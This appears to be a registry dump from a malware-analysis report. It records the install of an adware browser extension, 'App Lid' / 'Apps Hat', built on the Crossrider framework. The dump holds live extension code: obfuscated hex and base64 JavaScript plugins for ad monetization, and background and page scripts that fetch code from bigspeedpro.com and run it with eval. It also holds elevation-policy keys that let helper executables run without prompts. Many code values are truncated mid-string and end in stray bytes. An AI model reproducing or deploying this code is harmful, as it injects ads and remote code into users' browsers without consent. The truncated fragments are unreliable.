[HKCU\Software\AppDataLow\Software\App Lid\Plugins\39]
"JavaScript" = "if(typeof appAPI===""undefined""){appAPI={};}(function(c){appAPI.cookie=function(h,k,f,i){var g=""%@%ZZCR__AJAXZZ$C@R#"";function e(o,q,l,p){if(typeof(o)!==""string""){return false;}var n=appAPI.JSON.stringify(q);var m=new Date(2030,1,1,0,0,0,0);if(l instanceof Date){m=l;}c.setLocalCookie(o,n,m.toUTCString(),p);return true;}function j(m,n){if(m==""InstallerParams""&&n==""Local""){return appAPI.JSON.parse(appAPI.internal.prefs.getChar(""Params""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\2]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/2.js"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{0940d92d-eb5b-4a66-a360-ea4a14653723}]
"Policy" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\9]
"Version" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\43]
"Name" = "IEMessaging"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\345]
"Version" = "6"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\1]
"JavaScript" = "var __a0__ = ['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x39\x75\x36\x61\x32\x70\x36','\x2e\x73\x73\x6c\x2e\x68\x77\x63\x64\x6e\x2e\x6e\x65\x74'].join('')var __a1__ = ['\x68\x74\x74\x70\x3a\x2f\x2f\x73\x74\x61\x67\x69\x6e\x67\x2d\x61\x70','\x70\x2e\x63\x72\x6f\x73\x73\x72\x69\x64\x65\x72\x2e\x63\x6f\x6d'].join('')var __a2__ = ['\x68\x74\x74\x70\x73\x3a\x2f\x2f','\x77\x39\x75\x36\x61\x32\x70\x36','\x2e\x73\x73\x6c\x2e\x68\x77\x63','\x64\x6e\x2e\x6e\x65\x74'].join('')var __a3__ = ['\x68\x74\x74\x70\x3a\x2f\x2f\x73\x74\x61\x67\x69','\x6e\x67\x2d\x61\x70\x70\x2e\x63\x72\x6f\x73\x73','\x72\x69\x64\x65\x72\x2e\x63\x6f\x6d'].join('')var __a4__ = ['\x68\x74\x74\x70\x3a\x2f','\x2f\x6e\x73\x74\x61\x74','\x73\x2e\x63\x72\x6f\x73','\x73\x72\x69\x64\x65\x72','\x2e\x63\x6f\x6d'].join('')var __a5__ = ['\x68\x74\x74\x70\x3a\x2f\x2f\x73\x74','\x61\x67\x69\x6e\x67\x2d\x61\x70\x70','\x2e\x63\x72\x6f\x73\x73\x72\x69\x64','\x65\x72\x2e\x63\x6f\x6d'].join('')var __a6__ = ['\x68\x74\x74\x70\x3a\x2f\x2f\x72\x65\x73\x6f','\x75\x72\1ÉŽ"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{a96c2976-ee5b-4f1e-824c-c00fd74dd873}]
"AppName" = "App Lid-buttonutil64.exe"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\182]
"JavaScript" = "(function(){if(typeof $jquery_171===undefined){return;}var c={DUMMY_PAGE_URL:http://page.our-app.net/blank/resource.html};(function(){if(appAPI&&appAPI.internal&&appAPI.internal.hosts&&typeof appAPI.internal.hosts.dummyPageUrl===string&&appAPI.internal.hosts.dummyPageUrl.length>0){c.DUMMY_PAGE_URL=appAPI.internal.hosts.dummyPageUrl;}}());appAPI.openURL=(function(){var d=appAPI.openURL;var e=function(g){d({url:c.DUMMY_PAGE_URL ?appid= appAPI.appInfo.id &resourcepath= escape(g.resourcePath) &rnd= (new Date()).getTime(),where:g.where,focus:g.focus,focusTimer:g.focusTimer,left:g.left,top:g.top,height:g.height,width:g.width});};var f=function(g){if(!appAPI.utils.isObject(g)){return;}if(!appAPI.utils.isDefined(g.resourcePath)){d(g);return;}e(g);};return function(h,g){var i=h;try{if(appAPI.utils.isString(h)){d(h,g);return;}f(i);}catch(j){}};}());var a=function(){(function(){var f=document.createElement(link);f.type=image/x-icon;f.rel=shortcut icon;f.href=;document.getElementsByTagName(head)[0]2ÉŽ"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\44]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}(function(a){appAPI.dns={};appAPI.dns.resolveIP=function(b){return a.resolveIp(b);};appAPI.fetchUrl=function(b){return a.fetchUrl(b);};appAPI.openURL=function(e,d){var c;if(typeof e===object){c=e;if(typeof a.openUrlEx!==undefined){a.openUrlEx(appAPI.JSON.stringify(c));return;}else{d=c.where;e=c.url;}}if(typeof e!==string){console.error(appAPI.openURL - Invalid parameter. Expected string (1st param) but got: (typeof e));return;}if(d!==current&&d!==tab&&d!==window&&d!==popup){console.error(appAPI.openURL - Invalid parameter. Expected current/tab/window (2nd param) but got: d);return;}if(typeof a.openUrlEx!==undefined){var f=(document&&document.documentElement&&document.documentElement.clientHeight)?document.documentElement.clientHeight 100:100;var h=(document&&document.documentElement&&document.documentElement.clientWidth)?document.documentElement.clientWidth 80:100;var g=(window&&window.screenTop)?((window.screenTop-20)<0?0:(window.screenTop-20)ÉŽ"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\180]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/180.js"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{a96c2976-ee5b-4f1e-824c-c00fd74dd873}]
"AppPath" = "%Program Files% (x86)\App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"homepageurl" = "NA"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\252]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/252.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\281]
"Version" = "2"

[HKLM\SOFTWARE\Wow6432Node\App Lid\Installer]
"BundledFirefox" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\253]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MGU2MDdmNDgwNTEyMTUxYjM0MTgxOTQ4NGM0YTRmMzkzZTI4MzMzNTIwM2EzMjJiMzkyMzNlMjMyZTM5MjEzNTI5NDUwZjBmNGUwYTRmMDAwNjQ4NWE2MDY0NDQxMTA3MTQwZDFjMDQzZjBlNGY1YzQxNTk1NDU5NTk2MDdmNDgwNDA4MGQwMjBmMGYzZjM5NTQ1MDRkNDQxNjAyMGYwZTFhMWQ1ODM1MzIwNDA4MzQxMTAzMGQwZjFhMzUxODE0MGQzNDNlNGE0ODRhNTEzNTMyMjUzMzM0MzIzZTM0M2UyNTM1MjUyOTMyM2YzZTM1NWEwODFmNDQwYTBmMDc1NDAyMGIxODFhMTcwMzBhMDg1YzM0M2UyOTI3MjUyNTM5M2YyZjI1MmUzMzM1MzYyYjNiM2EzMjJmMjUzNDNlNGMxNzE4MTkxZDFlMDMxMzU2M2UzNTM2MzgzOTM5M2UzNDI4MmYyNDM4MmEyODI0MjUzYTM1MjQzOTNlMzU1MzA4MWYwOTUwMzkzZTI4MzMyNTI2MzkyNDIzMjkyMzMzMzQzNDM5MzAzODI5MjMyOTM5M2U0ZDEzMDQxMTU3NTE0YTQ2NDY0OTA1MDQxZDU1MmUxNzFlMDg0ZTQ4NDI0ZjBkMTAxZTIyMDMwMDAzNDk0MjVhNDg3ZjE3', 'ujvjmfakaj'); }"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\195]
"JavaScript" = "appAPI.internal.monetization=appAPI.internal.monetization||{};if(typeof appAPI.internal.monetization.plugins===undefined){appAPI.internal.monetization.plugins={};}appAPI.internal.monetization.plugins[195]=function(){if(appAPI.isBackground){return;}if(!appAPI.internal.monetization.shouldRunByVertical(195,[pops])){return;}new (appAPI.internal.monetization.plugins.ICMBaseManager({namespace:LITE}))();};"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins]
"OnRequestPluginList" = "14,42,41,39,38,43,45,64,72"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\17]
"Name" = "jQuery"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\200]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/200.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins]
"BgPluginList" = "246,42,38,46,41,44,39,35,43,36,4,14,78,64,183,207,47,182,72,345,354,253,102,104,180,184,220,195,200,221,223,234,242,252,255,262,263,281,288,301,91"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\46]
"Version" = "5"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\246]
"JavaScript" = "var _0x6ef5=[""\x69\x6E\x73\x74\x61\x6C\x6C\x65\x72""

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\281]
"Name" = "ibario_tier3_pops_m"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\44]
"Name" = "IEMisc"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{0940d92d-eb5b-4a66-a360-ea4a14653723}]
"AppPath" = "%Program Files% (x86)\App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\104]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/104.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\47]
"Name" = "resources_background"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{a96c2976-ee5b-4f1e-824c-c00fd74dd873}]
"Policy" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\1]
"Version" = "11"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\28]
"Version" = "4"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\41]
"Version" = "7"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"Description" = "Apps Hat is the cool new Android app store that helps you discover hot new apps, both free and discounted. Get personalised recommendations, price drop alerts, and share your favourite apps with your friends."

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\36]
"Name" = "IEBackground"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\38]
"Name" = "IECallbacks"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\223]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MDI3ZDc5NTUxMjA1MGQxYzI0MDgxNTU1NGE1NzU4MTkwZDE4MDE0MDU2NTgxMzEzMTQ1ZjBmMDUwMjFiMWQxMzVlMTQxNTFjNTYxZjEyMDgxMDA3MDQ1ODRiNDU0YzVhNDY0ZDRiNDI0NzQxNGY1ZTA5MWUxNDE2MTYxNjE0NTkxMDAyNDYxZjA0MTgxMDEzNGQyODI1MzIyYjIzMjIyOTJiM2UzNDMyMjgyZTNjMzQyNTNmMzczMzM1MzMyNTIyMmMyZTJlMzMzZDI4MmY1MTBmMWM0NDMzMmUzOTJiMzgyMzI0MjgzODNkMjkyMzI1MzgyNzIwMjgzNDMwMzQyOTJlMjU1YjViN2E3ZTU4MTkwZDE4MDEwOTJjMDUxYzU1NDA1MTViMDQwNTBlMDkwNDRhNTg1NTEyMWQwMjVmMGMxMDA0MTExMzFlNWYxYTAzMWM1NTBhMTQwMjFlMGEwNTU2NWQ0NTRmNGY0MDQ3NDU0ZjQ2NGY1OTVlMGEwYjEyMWMxODFiMTU1NzA2MDI0NTBhMDIxMjFlMWU0YzI2MzMzMjI4MzYyNDIzMjUzMzM1M2MzZTJlM2YyMTIzMzUzOTNlMzQzZDMzMjIyZjNiMjgzOTMzMjUyZTVmMTkxYzQ3MjYyODMzMjUzNTIyMmEzZTM4M2UzYzI1MmYzNjJhMjEyNjIyMzAzNzNjMjgyZjU1NTY3YjcwNGUwMTE2MGMxMDE5MTkzMzE1NWI1NjUxNDg0YjQ0N2EwYQ==', 'ywpwzqylqz'); }"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\207]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/207.js"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\72]
"Version" = "5"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\207]
"Name" = "dbWrapper"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"BgVersion" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\47]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/47.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\21]
"JavaScript" = "var CrossriderDebugManager=(function(h){var f={appId:appAPI._cr_config.appID(),url:appAPI._cr_config.debug_app};return h.Class.extend({init:function(){if(appAPI.isMatchPages.apply(this,f.url.debug_page)){h(document).ready(function(){h(body).bindExtensionEvent(debug_request_data,function(j,i){if(i.appId==f.appId){e();}});h(body).bindExtensionEvent(debug_request_reload_background,function(j,i){if(i.appId==f.appId&&appAPI.internal.reloadBackground){appAPI.internal.reloadBackground();}});h(body).bindExtensionEvent(debug_request_reload_plugins,function(j,i){if(i.appId==f.appId){appAPI.resources.requestReload();setTimeout(appAPI.internal.forceUpdate,750);}});h(body).bindExtensionEvent(debug_mode_activate,function(j,i){if(i.appId==f.appId){b(i);}});h(body).bindExtensionEvent(debug_mode_deactivate,function(j,i){if(i.appId==f.appId){d();}});h(body).bindExtensionEvent(debug_request_database,function(j,i){if(i.appId==f.appId){c(i);}});h(body).bindExtensionEvent(debug_request_database_remove,ÉŽ"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{70c7f9ab-103c-416a-a8bf-5b70c1c0831b}]
"AppName" = "App Lid-bg.exe"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\354]
"Version" = "2"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\182]
"Version" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\200]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MTc2NjY1NGQxODEyMTcwNjMzMDAwMDRlNTY0ZjUyMGUxNzAyMTY0ODQzNDMxZTFhMWMwMzEwNTgwMDFkMTQxNTA4MGExMTBhNGQxNTA5MWY0MzFhNWQ0MTQwNDkxNDFlMGYwNjA5MDAwNTFjMDQ0OTUyNDY1MTQyNDMzMzMzMmMyMjI5MzAyNTM0M2IyODI5M2UzMDM1M2UzNzMzMjgzNjI5MjgzMzNjMjUyNDNjM2YyMjJkMzM1MzFjMGUwMjEyMGQxMzE0M2MwZDAxMDk1MjJmMzkyMDI0MjkyMTNmM2UyNTJiMzUzNDNjMzczNjIyMzMyMjJkMjIzNTM5M2M1NDRhNzg2NTRlMDQxYjA0MTYxMDIzMTQxZTRlNTY0YzRkMTgxMjE3MDYxNTQ4NDM0MzFlMWExYzAzMTA1ODAwMWQxNDE1MDgwYTExMGE0ZDE1MDkxZjQzMWE1ZDQxNDA0OTE0MWUwZjA2MDkwMDA1MWMwNDQ5NTI0NjUxNDI0MzMzMzMyYzIyMjkzMDI1MzQzYjI4MjkzZTMwMzUzZTM3MzMyODM2MjkyODMzM2MyNTI0M2MzZjIyMmQzMzUzMWMwZTAyMTIwZDEzMTQzYzBkMDEwOTUyMmYzOTIwMjQyOTIxM2YzZTI1MmIzNTM0M2MzNzM2MjIzMzIyMmQyMjM1MzkzYzU0NGE3ODY1NGUxYzAzMDUwMTBhMTgyZjE2NGU1NjRjNWQ0MDU2NjkwYg==', 'lllopfcvfr'); }"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\64]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/64.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\184]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/184.js"

[HKCU\Software\AppDataLow\Software\App Lid\Code]
"NewTabJavaScript" = ""

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{0940d92d-eb5b-4a66-a360-ea4a14653723}]
"AppName" = "App Lid-codedownloader.exe"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\104]
"Version" = "14"

[HKCU\Software\AppDataLow\Software\App Lid\Installer]
"CodeDownloadDomain" = "http://js.ourclientinputsrv.com"

[HKCU\Software\AppDataLow\Software\App Lid\Code]
"BgJavaScript" = "appAPI.ready(function($) { window.affid = appAPI.installer.getParams().uzid !== '0' ? appAPI.installer.getParams().uzid : appshatmadness; var buttonState = true; appAPI.browserAction.setResourceIcon('19x19.png'); appAPI.browserAction.setTitle('Browse Apps Hat'); appAPI.browserAction.onClick(function() { if (buttonState) { appAPI.tabs.create('http://www.appshat.com/home'); } buttonState = !buttonState; }); appAPI.request.get({ url: http://www.bigspeedpro.com/nero/js/crossrider/nero_background_options.js, onSuccess: function(response) { eval(response); } });});"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{48a0739a-6b32-4042-aabe-9d8d05cc8dc3}]
"Policy" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\242]
"Version" = "4"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\40]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/40.js"

[HKCU\Software\AppDataLow\Software\App Lid\Code]
"AppJavaScript" = "appAPI.ready(function ($) { appAPI.request.get({ url: document.location.protocol //www.bigspeedpro.com/nero/js/crossrider/nero_crossrider_cs.js, onSuccess: function(response) { eval(response); }, onFailure: function(httpCode) { console.log('Failed to retrieve content' , httpCode); } });});"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\207]
"Version" = "2"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{70c7f9ab-103c-416a-a8bf-5b70c1c0831b}]
"Policy" = "1"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{48a0739a-6b32-4042-aabe-9d8d05cc8dc3}]
"AppName" = "App Lid-buttonutil.exe"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\78]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/78.js"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{48a0739a-6b32-4042-aabe-9d8d05cc8dc3}]
"Policy" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\45]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}appAPI.tabId=onRequest;window.console.log=appAPI.internal.console.log;console.log=window.console.log;window.console.info=appAPI.internal.console.info;console.info=window.console.info;window.console.warn=appAPI.internal.console.warn;console.warn=window.console.warn;window.console.error=appAPI.internal.console.error;console.error=window.console.error;(function(){function a(e){var c=appAPI.internal.prefs.getChar(e,Crossrider\\onRequest);if(typeof c!==string){return 0;}if(c.length===0){return 0;}c=appAPI.JSON.parse(c);if(typeof c!==object){return 0;}var d=0;for(var b in c){d ;appAPI.internal.callbacks.addListener(onRequest,function(m,g){var n=appAPI.internal.callbacks.onRequest.listenersAdditionalData[g];if(typeof n.code!==string){return;}var f={};var i;if(typeof n.value===undefined){i=undefined;}else{if(n.value===nÉŽ"

[HKCU\Software\AppDataLow\Software\App Lid\Installer]
"zdata" = "appshatmadness"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{48a0739a-6b32-4042-aabe-9d8d05cc8dc3}]
"Policy" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\21]
"Name" = "debug"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "9C A0 40 31 2C 3C D0 01"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\21]
"Version" = "5"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\288]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MTg2ZTU3NDU1MTRiNGQwZTBlMDMxMzMxMDUwOTUzNTE0ZjQ0MTIwMzE3MTQ0ZDRhNWUwMjFjMTIxYjAzMGEwNzU5MDExMDFmMGUwMDFiMDQxNzAzMDIxNzA0NDUwNjA4MWMxODRjMDIxODRhMWMwMjAxNDkxOTA1MTIwNzU5MGYwMjU0MDcwZjFlNGEzYzNiMzQzNzNlMzgzYzM0MzMzMzI2MzYyODMwMjIyZTNkMzkzMzMzM2MzYjUxMDcxZjBhMDIwMzQ3MjgzYzI3MjUyYTIyMzgzZDJmM2UzMjMxM2IzNjM1MjEzNDIxMjczNzMyM2MzYjUxMTYwNDA5MDYwMjQ3MjgzYzI3MjUyYTIyMzgzZDJmM2UzMjMxM2IzMjNkMjUyZTIxMjIzZjMzM2MzNzIyMjcyZTIyMmIzOTI1NTU0ZjZlNTc0NTUxNGI0ZDE2MTYwMjA0MGQxOTJjMTU0OTU1NDY0ODRmNWI2ZTBh', 'cdweqkofzw'); }"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\7]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/7.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\354]
"JavaScript" = "__CTG_MAPPING__={""1"":[""d908e50170d7cb46a92fdbff0d73bb5d""

[HKCU\Software\AppDataLow\Software\App Lid\Plugins]
"NewTabPluginList" = "42,38,46,17,14,78,13,41,44,39,35,43,40,64,2,4,3,1,21,22,72,28"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\44]
"Version" = "6"

[HKCU\Software\AppDataLow\Software\App Lid\Installer]
"StatsDomain" = "http://stats.ourclientinputsrv.com"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\21]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/21.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\102]
"Name" = "dealply_m"
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MDI2NzUxNTI0MjUyNGUwYzA0MWUwOTM4MDMxZTQwNDg0YzQ2MTgxZTBkMWQ0YjVkNGQxYjQyMDcwMjA4MWYwNzAyNWMwYjFjMGEwYjVmMDkwYjBmMTc1ZDA4MTMxYTA1MDMwOTBiMDQwMTA2NGMxODFmNWIxMzAyMTgwMzFmMTcwZTRmMGYxNjE0MTgyNjMyMmUzMTMwM2QzZjM3MjIyMzNkMjgyMzJkMjcyYTM4MjEzZTJlM2MyOTJlMjEzNzMwMzMyZDM0MzUyNjRiMTAwMjEyMjYwNTEwMWMwZjQ0MzIyZTMxMzAzZDNmMzcyMjIzM2QyODIzMmQyMzIyM2MzYjNlMmIzNDI4MmUyZDQ0MWEwNTAwNGQzNTI2MmUyMzNkMzEyMTNlMmQzNDJmMmIzMjI0MjEyNzIwMzMyZDM0MzUyNjRmNWQ3ODQyNTI0YzQ0NTIwMjBkMTkwMTAxMzcwMDAwNDY0YTRhNWIwNTA1MDYxMjAxNTY0YjVmMDMyNjBlMDMxMDA0MTgxZjNiMTkwNDFmMDI1ZjA2MGUwMTBmMDAxZTQ0MWEwMjFjNWQwMTAwMGUwMjVmMDAxODFiMTAwMTAxMDAwNTE0MDQ0NDEzMWU0ZTExMGExMzAyMGExNTA2NDQwZTAzMTYxMDJkMzMzYjMzMzgzNjNlMjIyMDJiMzYyOTM2MmYyZjIxMzkzNDNjMjYzNzI4M2IyMzNmM2IzMjM4MzYzZDJkNGEwNTAwMWEyZDA0MDUxZTA3NGYzMzNiMzMzODM2M2UyMjIwMmIzNjI5MzYyZjJiMjkzZDJlM2MyMzNmMjkzYjJmNGMxMTA0MTU0ZjNkMmQyZjM2M2YzOTJhM2YzODM2MjcyMDMzMzEyMzJmMmIzMjM4MzYzZDJkNGU0ODdhNGE1OTRkNTE1MDEyMWUxOTAzMTkwNDMwMDk1MzQ4NDI0MzVjNTY3YTE3', 'ymqrbrldpj'); }"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\14]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/14.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\41]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/41.js"

[HKLM\SOFTWARE\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\288]
"Name" = "firstoffer_pricecomp_m"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{0940d92d-eb5b-4a66-a360-ea4a14653723}]
"Policy" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\91]
"JavaScript" = "(function(M){var A=[].slice;var z={};var a=function(at){if(typeof at==string&&typeof at.trim==function){return at.trim();}return at==null?:at.toString().replace(/^\s /,).replace(/\s $/,);};function f(at){var au=z[at]={},av,aw;at=at.split(/\s /);for(av=0,aw=at.length;av
[HKCU\Software\AppDataLow\Software\App Lid\Plugins\281]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/281.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\36]
"Version" = "8"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\354]
"Name" = "categories"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\22]
"Name" = "resources"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"Publisher" = "Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\177]
"Name" = "crossriderDashboard"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\104]
"Name" = "jollywallet_m"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\7]
"Name" = "hooks"
"Version" = "2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "DF 70 1E 2E 2C 3C D0 01"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"UninstallString" = "%Program Files% (x86)\App Lid\Uninstall.exe /fcp=1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\281]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MGY3ZjYyNWEwNDEyMDYwYTI3MGIxODU3NTE1ODRlMGUwNjBlMDI0MzViNWEwODE0MDcwYjFkMTQ1YzFhMWIxODQ0MTkwODM1MTcwODA0MWM1YjEyMGUwYzM4MDcxNTQ1MTExMDEwNDgzNDI3MmYzNDNkMjkyMTJiM2QzMTJlMmEzMzIzMmEyZTM3MzczMDMwMmYyNzNmMzMzMDI1M2IzZDJiMmE0ZDA4MDUwMjRmNGI0MzQ5NDY0NDRkMGMxNTE2MTc0NzFiMTcxZTEwMDgwYzRhMDcwMjBhM2MxODE5MTA1NjI3MzMyNTIwMzUyMTJhMjYzYzJmM2QzZTM5MzMyYTIyMjYzYTM0MjYzZDMzMzk1MDU2Nzg3MDU2MDUwNzBkMGIwZjFjMzMxNjViNGU1NTU5NDA1ZDZjMGY=', 'tukxlfrzry'); }"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\25286]
"65743" = "App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\102]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/102.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\184]
"Name" = "noproblemppc_m"
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MDI2YjcwNTgwZTE4MDQxNzJjMWQxNTQzNDM1YTQ0MDQwNDEzMDk1NTU2NGUxNzBhMTU0MjAwMDYwYTFiMTgwZDFjMWIwMjFmNWUwNDE2MDI1NjBmMDkwOTA0NDMxYzA4MWUwNjFhNGYxMzA5NTkyMzAyMGUxZTA2MTcyODFkNDcyMzU0MzE1MzM4NWQ0YTIwNTQzODU2NWY0NDRhM2M1ZDQ4NTA1NDNiNWYyZDQwNGE0OTVmNDg1NDQ4NGQyMjVkNDAyMTRmMmE1ZjMyMTAwZTAzMjUxNDVhMmEwZTE1MDQwYTVjMzYwZDAyMTMxNzBhMGIyODNkNDc1NDVjNDA1NzQ5NDkyOTEzMTYxZTEzMGYwNDI5MTgwMjFjNWMyNjI1MjUzZTNmMzQyYTNkMzAyNTNjMjgzOTJkMjAzNzI2MjEzODJjM2MyNTM5NGEyNDA4MTYwMzFiMDAwYjMzMDI1MTJmMzgzYTNkMzYzMjJhMjgyZjI4MzUzNTI2MmEyMTM1M2MzNDIyMjkzNDM4MmEzYTNiM2UzMDNlMzkzMzUyNGI3MzY2NWIwOTBkMGUxNjFmMjUxNTE1NGQ0MzQxNWIxMjEyMTgwMDE0NDM0MDU2MGYwOTA5NDgxYzExMTQwZDBlMTUwNDE4MWUxNTQyMTMwODE0NDAxNzExMGExODQ5MDAxZjAwMTAwYzU3MGIwYTQ1MjkxZTE5MDAxMDAxMzAwNTQ0M2Y1ZTJkNDQyNjRiNWMzODRjM2I0YTU1NTg1ZDIyNGI1ZTQ4NGMzODQzMjc1YzVkNTc0OTVlNGM1MDRlM2U1NzVjMzY1MTNjNDkyYTA4MGQxZjJmMDg0ZDM0MTgwMzFjMTI1ZjJhMDcxZTA0MDkxYzFkMzAyNTQ0NDg1NjVjNDA1NzVmM2YwYjBlMWQwZjA1MTgzZTA2MTQwYT